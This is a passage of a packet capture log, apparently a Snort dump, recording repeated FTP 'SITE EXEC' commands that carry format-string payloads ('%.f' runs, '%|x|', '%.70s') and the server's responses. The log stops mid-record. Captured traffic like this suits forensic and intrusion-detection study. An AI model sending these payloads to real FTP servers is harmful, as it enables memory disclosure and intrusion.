=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.466032 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12081 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD6F0C2 Ack:
0xC9872C80 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490672 488764
32 30 30 2D 37 20 CA E1 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.480135 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1242 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9872C80 Ack:
0x4DD6F346 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488766 490672
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.480227 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12082 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD6F346 Ack:
0xC9872C80 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490674 488766
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
CA E1 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.581759 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1243 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9872C80 Ack:
0x4DD6F54B Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488768 490674
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.583707 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1244 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9872C80 Ack:
0x4DD6F54B Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488768 490674
53 49 54 45 20 45 58 45 43 20 37 20 84 E1 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.587005 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12083 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD6F54B Ack:
0xC9872E7F Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490684 488768
32 30 30 2D 37 20 84 E1 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.599459 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800 len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1245 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9872E7F Ack:
0x4DD6F7CF Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488770 490684
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.599551 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12084 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD6F7CF Ack:
0xC9872E7F Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490686 488770
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
84 E1 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.639466 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1246 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9872E7F Ack:
0x4DD6F9D4 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488772 490686
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.724305 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1247 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9872E7F Ack:
0x4DD6F9D4 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488772 490686
53 49 54 45 20 45 58 45 43 20 37 20 3E E1 FF FF SITE EXEC 7 >...
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.727050 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12085 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD6F9D4 Ack:
0xC987307E Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490698 488772
32 30 30 2D 37 20 3E E1 FF BF 2D 32 2D 32 30 30 200-7 >...-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.749307 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
